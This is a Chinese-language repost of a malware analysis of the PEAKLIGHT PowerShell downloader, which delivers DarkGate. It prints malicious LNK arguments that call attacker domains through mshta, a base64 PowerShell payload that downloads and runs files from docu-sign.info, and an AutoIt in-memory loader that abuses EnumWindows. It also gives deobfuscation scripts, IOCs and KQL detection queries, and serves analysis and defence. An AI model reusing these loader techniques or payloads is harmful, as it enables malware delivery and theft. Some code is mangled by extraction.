基于PowerShell 的混淆下载器-PEAKLIGHT

admin 2025年2月7日15:23:32评论8 views字数 18776阅读62分35秒阅读模式
基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

基于PowerShell 的混淆下载器-PEAKLIGHTPEAKLIGHT 是一个基于 PowerShell 的混淆下载器,最初由 Mandiant 识别,它提供恶意软件即服务信息窃取程序。最初的感染媒介被确定为 Microsoft 快捷方式文件 (LNK),它连接到托管 JavaScript 投放器的内容分发网络 (CDN)。通过投放器传送的有效负载最终会执行 PowerShell 下载程序脚本。观察到的有效负载包括 LummaC2、HijackLoader 和 CryptBot。

该下载器也被跟踪为 Emmenhtal 加载器。

TRAC Labs 分析

初始下载

快捷方式负载通过以下 URL 下载:

  • hxxp://download.wsconnect[.]org/下载/Instruction_1928_W9COI.pdf.lnk
  • hxxp://download.wsconnect[.]org/下载/Agreement%20for%20YouTube%20cooperation.pdf.lnk

Agreement for YouTube cooperation.pdf.lnk”快捷方式文件的参数:

Arguments: /p C:Windows /m notep*.exe /c "powershell Start-Process *i**2msh*e hxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json"

它利用 PowerShell 作为 LOLBin 通过 mshta.exe 执行 CharcoalWharf.json 二进制文件。

Instruction_1928_W9COI.pdf.lnk” 快捷方式文件的参数:

Arguments: /p C:Windows /m exp*.exe /c "powershell Start-Process *i**2msh*e hxxps://pdb.timeless-tales[.]shop/api/reg/HardhatSeminar.json"

mshta.exe 用于执行HardhatSeminar.json

CharcoalWharf 分析

查看 CharcoalWharf.json 二进制文件,我们看到 mshta.exe 脚本联系人以下载 dxdiag.exehxxps://ctu.timeless-tales[.]shop/api/uz/0912545164/CharcoalWharf.json

对可执行文件的初步分析揭示了使用 charCode 编码的嵌入式混淆 JavaScript 负载。以下脚本已被截断:

<script>
kG=102;bo=117;HB=110;bd=99;PK=116;Kg=105;Yz=111;bO=32;gd=101;uZ=72;kw=40;cE=89;nF=100;mk=41;eH=123;
ES=118;Ur=97;rN=114;Vb=104;ho=98;XN=61;kT=34;BI=59;wX=84;kB=83;kb=85;mB=48;Tn=60;eX=46;AB=108;Pq=103;
zI=43;Fr=67;Lh=109;IO=91;sE=93;wG=45;CX=54;MI=50;Cf=53;zc=125;Wc=112;fS=86;XD=55;jy=51;af=44;Yg=52;Ob=57;
NJ=49;xO=56;PW=65;Jf=81;eg=107;zw=80;aV=119;UV=88;sA=79;rW=106;lc=82;
varHmi = 
String.fromCharCode(kG,bo,HB,bd,PK,Kg,Yz,HB,bO,Yz,gd,uZ,kw,cE,bo,nF,mk,eH,ES,Ur,rN,bO,Vb,kG,ho,XN,bO,kT,kT,
BI,kG,Yz,rN,bO,kw,ES,Ur,rN,bO,wX,kB,kb,bO,XN,bO,mB,BI,bO,wX,kB,kb,bO,Tn,bO,cE,bo,nF,eX,AB,gd,HB,Pq,PK,Vb,BI,
bO,wX,kB,kb,zI,zI,mk,bO,eH,ES,Ur,rN,bO,Fr,ho,Kg,bO,XN,bO,kB,PK,rN,Kg,HB,Pq,eX,kG,rN,Yz,Lh,Fr,Vb,Ur,rN,Fr,Yz,
nF,gd,kw,cE,bo,nF,IO,wX,kB,kb,sE,bO,wG,bO,CX,MI,Cf,mk,BI,Vb,kG,ho,bO,XN,bO,Vb,kG,ho,bO,zI,bO,Fr,ho,Kg,zc,rN,
gd,PK,bo,rN,HB,bO,Vb,kG,ho,zc,BI,ES,Ur,rN,bO,Wc,fS,Yz,bO,XN,bO,Yz,gd,uZ,kw,IO,XD,jy,XD,af,XD,jy,CX,af,XD,Yg,
Yg,af,XD,MI,CX,af,XD,jy,Ob,af,XD,Yg,mB,af,XD,MI,Ob,af,XD,MI,CX,af,XD,jy,jy,af,XD,jy,jy,af,CX,XD,NJ,af,XD,MI,
CX,af,XD,Yg,Cf,af,XD,MI,CX,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg,Yg,af,CX,Cf,XD,af,CX,XD,Yg,af,CX,Cf,XD,af,CX,XD,
mB,af,XD,MI,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,NJ,mB,af,XD,jy,Cf,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,mB,af,XD,Yg,
NJ,af,XD,jy,Ob,af,XD,jy,mB,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,MI,CX,af,XD,MI,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,jy,
Cf,af,XD,jy,CX,af,XD,jy,XD,af,CX,Cf,XD,af,XD,MI,XD,af,XD,Yg,MI,af,XD,jy,Cf,af,XD,MI,Yg,af,XD,Yg,NJ,af,XD,jy,
mB,af,XD,jy,CX,af,XD,jy,Cf,af,CX,Cf,XD,af,XD,MI,Yg,af,XD,jy,jy,af,XD,MI,CX,af,XD,MI,MI,af,XD,jy,Cf,af,CX,Cf,
XD,af,CX,CX,Cf,af,CX,CX,NJ,af,CX,Ob,NJ,af,XD,Yg,mB,af,XD,Yg,Cf,af,XD,mB,mB,af,XD,Yg,Cf,af,CX,CX,CX,af,XD,Yg,
xO,af,XD,jy,Ob,af,XD,MI,CX,af,XD,Yg,NJ,af,XD,Yg,MI,af,XD,jy,Ob,af,XD,jy,Cf,af,CX,Cf,XD,af,CX,XD,mB,af,XD,Yg,
mB,af,XD,jy,XD,af

charCode 值被映射到适当的值以进行去混淆:

<script>
102=102;117=117;110=110;99=99;116=116;105=105;111=111;32=32;101=101;72=72;40=40;89=89;100=100;41=41;
123=123;118=118;97=97;114=114;104=104;98=98;61=61;34=34;59=59;84=84;83=83;85=85;48=48;60=60;46=46;108=108;
103=103;43=43;67=67;109=109;91=91;93=93;45=45;54=54;50=50;53=53;125=125;112=112;86=86;55=55;51=51;44=44;
52=52;57=57;49=49;56=56;65=65;81=81;107=107;80=80;119=119;88=88;79=79;106=106;82=82;
varHmi = 
String.fromCharCode(102,117,110,99,116,105,111,110,32,111,101,72,40,89,117,100,41,123,118,97,114,
32,104,102,98,61,32,34,34,59,102,111,114,32,40,118,97,114,32,84,83,85,32,61,32,48,59,32,84,83,85,32,60,32,89,
117,100,46,108,101,110,103,116,104,59,32,84,83,85,43,43,41,32,123,118,97,114,32,67,98,105,32,61,32,83,116,114,
105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,89,117,100,91,84,83,85,93,32,45,32,54,50,53,41,
59,104,102,98,32,61,32,104,102,98,32,43,32,67,98,105,125,114,101,116,117,114,110,32,104,102,98,125,59,118,97,
114,32,112,86,111,32,61,32,111,101,72,40,91,55,51,55,44,55,51,54,44,55,52,52,44,55,50,54,44,55,51,57,44,55,52,
48,44,55,50,57,44,55,50,54,44,55,51,51,44,55,51,51,44,54,55,49,44,55,50,54,44,55,52,53,44,55,50,54,44,54,53,55,
44,54,55,48,44,55,52,52,44,54,53,55,44,54,55,52,44,54,53,55,44,54,55,48,44,55,50,54,44,55,51,55,44,54,53,55,44,
55,49,48,44,55,51,53,44,55,51,57,44,55,50,54,44,55,52,48,44,55,52,49,44,55,51,57,44,55,51,48,44,55,50,52,44,55,
52,49,44,55,50,54,44,55,50,53,44,54,53,55,44,54,55,48,44,55,51,53,44,55,51,54,44,55,51,55,44,54,53,55,44,55,50,
55,44,55,52,50,44,55,51,53,44,55,50,52,44,55,52,49,44,55,51,48,44,55,51,54,44,55,51,53,44,54,53,55,44,55,50,52,
44,55,51,51,44,55,50,54,44,55,50,50,44,55,51,53,44,54,53,55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44,
55,52,53,44,55,48,48,44,55,52,53,44,54,54,54,44,55,52,56,44,55,51,57,44,55,50,54,44,55,52,49,44,55,52,50,44,55,
51,57,44,55,51,53,44,54,53,55,44,54,55,48,44,55,52,48,44,55,51,55,44,55,51,51,44,55,51,48,44,55,52,49,44,54,53,
55,44,54,54,53,44,54,54,49,44,54,57,49,44,55,52,48,44,55,52,53,44,55,48,48,44,55,52,53,44,54,53,55,44,54,55,48,
44,55,51,57,44,55,50,54,44,55,51,55,44,55,51,51,44,55,50

然后,charCode 值被转换以显示高度混淆的 PowerShell 脚本:

functionoeH(Yud){var hfb= "";for (varTSU = 0; TSU < Yud.length; TSU++) {varCbi = 
String.fromCharCode(Yud[TSU] - 625);hfb = hfb + Cbi}return hfb};var pVo = 
oeH([737,736,744,726,739,740,729,726,733,733,671,726,745,726,657,670,744,657,674,657,
670,726,737,657,710,735,739,726,740,741,739,730,724,741,726,725,657,670,735,736,
737,657,727,742,735,724,741,730,736,735,657,724,733,726,722,735,657,665,661,691,740,745,
700,745,666,748,739,726,741,742,739,735,657,670,740,737,733,730,741,657,665,661,691,740,
745,700,745,657,670,739,726,737,733,722,724,726,657,664,671,671,664,669,657,664,673,745,
661,663,657,664,666,750,684,661,703,738,691,698,708,741,657,686,657,724,733,726,722,735,
665,664,678,691,678,694,675,682,682,682,694,680,691,690,695,675,691,695,691,693,675,692,
694,692,681,677,692,693,674,677,673,679,693,678,679,680,679,690,691,678,679,695,692,680,
694,679,676,693,679,692,694,674,679,677,677,673,673,673,690,674,673,682,693,677,678,677,
675,673,682,682,679,680,693,682,675,681,682,691,682,693,690,681,677,692,679,680,678,678,
682,674,682,677,695,680,679,682,694,692,693,674,674,690,678,681,682,693,674,678,678,675,
673,694,692,674,679,690,695,680,678,677,690,678,690,677,693,675,680,676,690,677,694,677,
694,680,682,692,678,692,677,693,692,674,673,673,694,676,678,682,682,690,679,675,676,676,
695,691,673,675,694,678,695,695,692,674,692,679,693,694,690,691,677,695,682,691,692,673,
692,675,676,680,682,690,690,678,691,693,676,694,692,692,674,695,677,673,682,693,674,677,
682,693,674,675,682,677,681,677,690,680,691,679,690,674,679,673,679,678,680,681,682,680,
692,680,695,691,691,694,674,694,674,677,692,691,682,681,674,675,695,693,675,693,691,680,
682,694,682,674,694,681,674,692,675,682,677,680,674,682,692,695,681,692,680,693,680,692,
694,691,676,677,676,679,690,673,693,694,680,679,677,677,694,673,692,692,678,679,682,692,
673,678,679,679,676,681,692,682,674,695,682,682,678,690,692,675,677,682,692,682,695,674,
682,694,676,682,677,695,680,691,677,677,691,676,675,681,677,675,675,679,674,693,695,678,
675,695,674,677,682,679,693,691,674,679,691,694,673,690,695,677,677,694,692,679,674,675,
680,682,673,677,695,677,676,681,681,676,677,692,692,692,691,69

PowerShell 分析

进一步解码需要从每个数值中减去 625,然后再次解码,以显示具有混淆有效负载的 PowerShell 脚本。此数字派生自 String.fromCharCode() 函数。

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

上述 PowerShell 执行多项作,专注于解密加密的有效负载并执行它。

该脚本首先定义函数 clean,该函数将字符串作为输入并将其转换为一个 bites 数组(“FF”变为 0xFF)。通过将每两个字符格式化为十六进制字节来解析长十六进制字符串。处理的字节数组表示加密的有效负载。该脚本的主要部分涉及 AES 解密机制。[System.Security.Cryptography.Aes]::Create() 用于创建使用密钥 (7079727A644C6F56584D515146686245) 和设置为 16 字节零的初始化向量 (IV) 初始化的 AES 对象。AES 配置完成后,CreateDecryptor 方法用于解密表示加密有效负载的字节。然后,将生成的数据解释为字符串。

然后,该脚本将处理解密的字符串以进行执行。字符串的前三个字符用作命令的名称,字符串的其余部分被视为参数。

进一步的反混淆需要使用密钥和零初始化的 IV 执行 AES 解密,以提取另一个混淆的有效负载。以下是使用的脚本:

from Crypto.Cipher import AES

defclean(hexstring):
returnbytes.fromhex(hexstring)

encrypted_data = clean("5B5E2999E7BAF2BFBD2CEC84CD140……”)  # Truncated
key = clean("7079727A644C6F56584D515146686245")
iv = bytes(16)  # All zero IV

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data).decode('utf-8', errors='ignore')

print(decrypted_data)

解密脚本的输出:

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

此脚本包含定义多个函数的混淆 PowerShell 代码:

  • iHU 
    函数将二进制数据(存储在 $GDC 变量中)写入指定的文件路径 ($HEJ)。
  • Xks 函数从给定的 URL 下载数据 ($IzR
    )
  • HNS 
    负责解码一组模糊字符,方法是从数组中的每个字符中减去一个固定值,然后将结果转换为可读字符串。
  • xgj 
    函数使用带有编码 base64 数据的 PowerShell.exe 执行隐藏的 PowerShell 命令,以运行进一步的混淆指令。

用于对 PowerShell 脚本进行反混淆处理的脚本(仅在沙箱/虚拟机中运行):

import base64

# Function to decode the character substitution obfuscation (HNS)
defdecode_hns(obfuscated_array, key):
"""
    Decodes an obfuscated array of integers into a string by subtracting a key value.
    :param obfuscated_array: List of integers representing obfuscated characters.
    :param key: Integer value to subtract from each element.
    :return: Decoded string.
    """
return''.join([chr(x - key) for x in obfuscated_array])

# Function to decode base64 encoded strings
defdecode_base64(encoded_string):
"""
    Decodes a base64-encoded string.
    :param encoded_string: Base64 string to decode.
    :return: Decoded plain text string.
    """
return base64.b64decode(encoded_string).decode('utf-16')  # UTF-16 based on observed encoding in PowerShell

Obfuscated array from the script
obfuscated_array = [163, 186, 201, 131, 172, 186, 183, 152, 193, 190, 186, 195, 201]
key = 85# Subtraction key used in the HNS function
decoded_string = decode_hns(obfuscated_array, key)
print("Decoded String (HNS):", decoded_string)

# Base64-encoded string from the script 
base64_payload = (
"JAB5AFQAcQAxACAAPQAgACIAdQBwAGQAYQB0AGUAcgAuAGUAeABlACIACgAkAG4AUAB6ADMAIAA9"
"ACAALQBqAG8AaQBuACAAKAAoADYANQAuAC4AOQAwACkAIAArACAAKAA5ADcALgAuADEAMgAyACkA"
"IAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFsAYwBoAGEAcgBdACQAXwAg"
"AH0AIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAOAApACAAKwAgACIA"
"LgBiAGkAbgAiAAoAJABmAFEAcgA0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABo"
"ACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAtAGoAbwBpAG4A"
"IAAoACgANAA4AC4ALgA1ADcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAg"
"AFsAYwBoAGEAcgBdACQAXwAgAH0AKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8A"
"dQBuAHQAIAA4ACkAKQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZgBRAHIANAAg"
"AC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwA"
"IABPAHUAdAAtAE4AdQBsAGwACgAkAGcAVgBuADgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAt"
"AFAAYQB0AGgAIAAkAGYAUQByADQAIAAtAEMAaABpAGwAZABQAGEAdABoACAAJAB5AFQAcQAxAAoA"
"JABiAFMAcAA1ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABmAFEAcgA0"
"ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAbgBQAHoAMwAKACQAbABEAHgAOQAgAD0AIAAiAGgA"
"dAB0AHAAcwA6AC8ALwBkAG8AYwB1AC0AcwBpAGcAbgAuAGkAbgBmAG8ALwBhAHAAaQAvAHUAegAv"
"ADAAOQAxADIANQA0ADUAMQA2ADQALwB1AHAAZABhAHQAZQAuAGIAaQBuACIACgAkAGMASwBqADYA"
"IAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAGMAdQAtAHMAaQBnAG4ALgBpAG4AZgBvAC8AYQBw"
"AGkALwB1AHoALwAwADkAMQAyADUANAA1ADEANgA0AC8AYwBvAG4AZgBpAGcALgBiAGkAbgAiAAoA"
"SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAbABEAHgAOQAg"
"AC0ATwB1AHQARgBpAGwAZQAgACQAZwBWAG4AOAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMA"
"aQBuAGcACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABj"
"AEsAagA2ACAALQBPAHUAdABGAGkAbABlACAAJABiAFMAcAA1ACAALQBVAHMAZQBCAGEAcwBpAGMA"
"UABhAHIAcwBpAG4AZwAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABh"
"AHQAaAAgACQAZwBWAG4AOAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGIAUwBwADUA"
"IAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAAKACQAbgB1AGwAbAAgAD0AIAAk"
"AHkAVABxADEALAAgACQAbgBQAHoAMwAsACAAJABmAFEAcgA0ACwAIAAkAGcAVgBuADgALAAgACQA"
"YgBTAHAANQAsACAAJABsAEQAeAA5ACwAIAAkAGMASwBqADYA"
)
decoded_payload = decode_base64(base64_payload)
print("Decoded Base64 Payload:n", decoded_payload)

去混淆的 PowerShell 脚本:

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

该脚本首先定义几个变量来管理文件和目录路径。$yTq 1 将文件名设置为 updater.exe,而 $nPz 3 生成一个随机文件名,该文件名由 8 个字母字符组成,并附加了 .bin 扩展名。$fQr 4 定义 TEMP 目录中的随机目录路径。

然后,该脚本将在 TEMP 文件夹中创建指定的目录。它为有效负载构建文件路径:$gVn 8 指定updater.exe的完整路径$bSp 5 对随机命名的 .bin 文件执行相同的作。该脚本继续从 URL 下载两个文件 。第一个文件 update.bin 保存为 updater.exe,第二个文件 config.bin 与随机化的 .bin 文件名一起保存在新创建的目录中。hxxps://docu-sign[.]info/api/uz/0912545164/

然后使用 Start-Process cmdlet 执行updater.exe,并将随机.bin文件作为参数传递。此过程在隐藏 (NoNewWindow) 模式下执行并等待完成。

从此脚本中,我们可以将有效负载识别为:

  • hxxps://docu-sign[.]信息/api/uz/0912545164/update.bin
  • hxxps://docu-sign[.]信息/api/uz/0912545164/config.bin

update.bin 是 AutoIt3 可执行文件,是用作恶意软件投放程序的合法程序。

config.bin 包含不同的恶意负载。

AutoIT 负载

使用 AutoIT 脚本反编译器,我们可以看到 config.bin 在做什么。

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

AutoIT 分析

下面显示的 GUI 创建(GUICREATE 调用)与脚本的功能无关,并且似乎创建了具有无意义名称和维度的 GUI。

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

_ENCRYPT 函数从脚本中解密加密数据。它需要两个输入:$VVALUE,可能是一个混淆或加密的字符串,以及 $SKEY,硬编码密钥“JswaEdde”。

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

_ENCRYPT 函数从脚本中解密加密数据。它需要两个输入:$VVALUE,可能是一个混淆或加密的字符串,以及 $SKEY,硬编码密钥“JswaEdde”。

解密过程从确定密钥的长度 ($IKEYALT) 开始,并使用 XOR (BITXOR) 应用转换。然后,通过使用修改后的密钥对 $VVALUE 的每个字节进行 XOR 运算,应用按位 NOT 运算 (BITNOT),并使用结果构造解密的字符串来处理它。该函数的输出为 $S_ENCRYPTED。

下面显示了几个加密的十六进制编码字符串:

基于PowerShell 的混淆下载器-PEAKLIGHT基于PowerShell 的混淆下载器-PEAKLIGHT

第一步涉及解密脚本中嵌入的数据块。BINARYTOSTRING 函数采用表示加密数据的十六进制编码长字符串,并将其转换为二进制格式。然后,数据使用硬编码键 “JswaEdde” 传递到 _ENCRYPT 函数中。_ENCRYPT 函数组合按位运算来解密数据。解密后,结果内容将存储在变量 $DATA 中,并立即使用 EXECUTE 函数执行。

按照类似的过程,该脚本使用相同的密钥解密另一个嵌入式 blob。

该脚本继续这种解密和执行多个嵌入式数据 blob 的模式。

可以解密这些有效负载以显示其功能。以下是用于解密有效负载的脚本:

defdecrypt(value, key):
defbinary_to_bytes(binary_str):
# Remove the "0x" prefix and convert to bytes
returnbytes.fromhex(binary_str[2:])

defbitxor(a, b):
return a ^ b

    key_bytes = key.encode()
    value_bytes = binary_to_bytes(value)

    key_alt = len(key_bytes)
for i inrange(1, key_alt + 1):
        key_alt = bitxor(key_bytes[i - 1], key_alt)

    encrypted = []
for i inrange(len(value_bytes)):
        encrypted_byte = ~bitxor(value_bytes[i], key_alt) & 0xFF
        encrypted.append(encrypted_byte)

returnbytes(encrypted).decode('utf-8', errors='ignore')


# Encrypted values from the script
encrypted_values = [
"0xA7BD969B8A81888CD0BE91949DAA9D999CD0BE91949DB7889D96D0B8AB9B8A91888CBE8D9494A8998C90D4D8C9CED1D4C9CFCBCAC9C0D1D4DAB28B8F99BD9C9C9DDAD1",
"0xBC9494AB8C8A8D9B8CBB8A9D998C9DD0DA9A818C9DA3C9CFCBCAC9C0A5DAD1",
"0xBC9494BB999494D0DA939D8A969D94CBCAD69C9494DAD4DABAB7B7B4DAD4DAAE918A8C8D9994A88A978C9D9B8CDAD4DA888C8ADAD4BC9494AB8C8A8D9B8CBF9D8CA88C8AD0DC888CD1D4DA91968CDAD4C9CFCBCAC9C0D8D4DA9C8F978A9CDAD4C880CCC8D4DA9C8F978A9CD2DAD4968D9494D1",
"0xBC9494AB8C8A8D9B8CAB9D8CBC998C99D0DC888CD4C9D4DC9C998C99D1",
"0xBC9494BB999494D0DA8D8B9D8ACBCAD69C9494DAD4DA91968CDAD4DABD968D95AF91969C978F8BDAD4DA888C8ADAD4BC9494AB8C8A8D9B8C"
]

# Decrypt each value
key = "JswaEdde"
decrypted_values = [decrypt(value, key) for value in encrypted_values]

# Display results
print(decrypted_values)

解密输出:

#NoTrayIcon

; Define encryption function
Func _ENCRYPT($VVALUE, $SKEY)
$TBYTE = DllStructCreate("BYTE")
    Local $S_ENCRYPTED
    Local $IKEYALT = BinaryLen($SKEY)
    For $I = 1 To $IKEYALT
$IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)
    Next
    For $I = 1 To BinaryLen($VVALUE)
$S_ENCRYPTED &= Chr(DllStructSetData($TBYTE, 1, BitNOT(BitXOR(BinaryMid($VVALUE, $I, 1), $IKEYALT))))
    Next
    Return $S_ENCRYPTED
EndFunc

; Main script
Local $DATA
$DATA = _Encrypt(FileRead(FileOpen(@ScriptFullPath, 16), 173218), "JswaEdde")

; Create a DLL structure
Local $PT
$PT = DllStructCreate("byte[173218]")

; Modify memory protection
DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", DllStructGetPtr($PT), "int", 173218, "dword", 0x40, "dword*", Null)

; Set the data
DllStructSetData($PT, 1, $DATA)

; Enumerate windows
DllCall("user32.dll", "int", "EnumWindows", "ptr", DllStructGetPtr($PT))
Decrypted script fragments appear to perform various operations.

AutoIt 脚本首先隐藏其存在 (#NoTrayIcon ),并使用加密功能,密钥硬编码为 “JswaEdde”。

反混淆脚本使用 FileRead 读取其内容,从特定位置(173218 字节)开始提取数据。此数据与键 “JswaEdde” 一起传递给 _ENCRYPT 函数(如前所述)。该函数解密经过混淆处理的有效负载,并将结果存储在变量 $DATA 中。

接下来,该脚本使用 DllStructCreate 创建一个内存结构,该结构足够大,可以容纳解密的有效负载(173218 字节)。然后调用 VirtualProtectAPI 来修改内存的权限,将它们设置为可执行 (0x40),允许内存包含可执行的代码。

然后,存储在 $DATA 中的解密数据将加载到之前创建的内存结构中。这是使用 DllStructSetData 实现的,它将解密的指令复制到分配的内存区域中。最后一步涉及从 user32.dll 调用 EnumWindows 函数。通常,EnumWindows 用于通过传递指向回调函数的指针来枚举屏幕上的所有顶级窗口。但是,在此脚本中,回调函数指针 (DllStructGetPtr($PT)) 将替换为包含解密负载的内存地址。

实际上,这种对 EnumWindows 的滥用会诱骗函数执行存储在内存中的恶意代码,最终丢弃 DarkGate 有效负载。

DarkGate 配置:

2=JswaEdde – xor key
0=inter2 – campaign ID
1=Yes – Process Hollowing injection enabled
3=Yes – PE Injection
5=Yes – process injection wikth nCmdShow set to SW_HIDE
6=No – persistence via registry run key
7=No – VM check (1)
8=No – VM check (2)
9=No – check disk space
10=100 – minimum disk size
11=No – check RAM
12=4096 – minimum RAM size
13=No – check XEON
14=C:WindowsSysWOW64OpenWith.exe – path to target file
15=Yes
16=No
18=Yes

HardHat 研讨会

第二个二进制文件 “HardhardSeminar.json” 可以像 CharcoalWharf 一样进行反混淆处理。一旦我们反编译 AutoIT 脚本,我们可以看到最终的有效负载如下:

  • hxxps://pdb.timeless-tales[.]商店/api/reg/update.bin
  • hxxps://pdb.timeless-tales[.]商店/api/reg/config.bin

update.bin 包含 AutoIT 可执行文件。

config.bin 是最终的恶意软件负载。

config.bin 的 payload 似乎配置错误,有效地结束了我们对这个二进制文件的分析。

结论

该活动表明,PowerShell 和 AutoIt 等合法工具和技术持续滥用,以传递和执行恶意软件,同时规避传统的检测机制。通过利用混淆、仅内存执行以及 mshta.exe 和 EnumWindows 等看似良性的进程,攻击者有效地绕过了端点防御。TRAC Labs 持续监控 PEAKLIGHT 活动以识别新的 TTP,同时主动共享情报,以帮助组织加强防御并减轻未来的威胁。

感染指标

可以在此处找到与 PEAKLIGHT 相关的入侵指标。

检测建议

  1. 监视对 URL 的请求:
  • hxxp://download.wsconnect[.]org/下载/Instruction_1928_W9COI.pdf.lnk
  • hxxp://download.wsconnect[.]org/下载/Agreement%20for%20YouTube%20cooperation.pdf.lnk
  • hxxps://docu-sign[.]信息/api/uz/0912545164/update.bin
  • hxxps://docu-sign[.]信息/api/uz/0912545164/config.bin

2. 监控从 PowerShell 进程生成的可疑 base64 编码命令。

3. 监控updater.exe与可疑 IP 联系的过程。

4. 监控 AutoIT 脚本的执行情况。

规则和检测查询

Yara 规则可在此处访问。

KQL 查询

检测 TEMP 文件夹中的目录创建

DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has @"C:WindowsTemp"
| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName

确定 PowerShell 脚本执行

DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has_any ("New-Item", "Invoke-WebRequest", "Start-Process", "NoNewWindow", "Wait-Process")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine

检测来自可疑域的下载,例如 docu-sign[.]信息

DeviceNetworkEvents
| where RemoteUrl has "docu-sign.info"
| where ActionType == "ConnectionSuccess"
| project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, Protocol, InitiatingProcessFileName

在 TEMP 中检测新下载文件的执行情况

DeviceProcessEvents
| where FolderPath has @"C:WindowsTemp"
| where FileName == "updater.exe"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FolderPath

关联执行 .bin 文件作为参数传递

DeviceProcessEvents
| where FileName == "updater.exe"
| where ProcessCommandLine has ".bin"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FileName

查找随机化的文件名

DeviceFileEvents
| where FileName endswith ".bin"
| where FolderPath has @"C:WindowsTemp"
| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName

检测重命名的 AutoIT 可执行文件

DeviceProcessEvents
| where ProcessCommandLine has_any ("AutoIt", "AU3", "AutoIT3Wrapper")
   or ProcessCommandLine matches regex @"w+.exe.*.au3"
   or ProcessCommandLine has_any ("#include", "#requireadmin", "Send(", "ControlClick(")
| where not(FileName in ("AutoIt3.exe", "AutoIt.exe"))  // Exclude known legit executables
| project TimeGenerated, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, ParentProcessName

引用

  • https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware
  • https://russianpanda.com/The-Abuse-of-ITarian-RMM-by-Dolphin-Loader
  • https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal
  • https://github.com/RussianPanda95/Yara-Rules/tree/main/DarkGate
  • https://github.com/TRACLabs1/Malware/tree/main/PeakLight
  • https://github.com/TRACLabs1/Malware/blob/main/PeakLight/IOCs.txt

原文始发于微信公众号(安全狗的自我修养):基于PowerShell 的混淆下载器-PEAKLIGHT

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月7日15:23:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于PowerShell 的混淆下载器-PEAKLIGHThttps://cn-sec.com/archives/3707937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息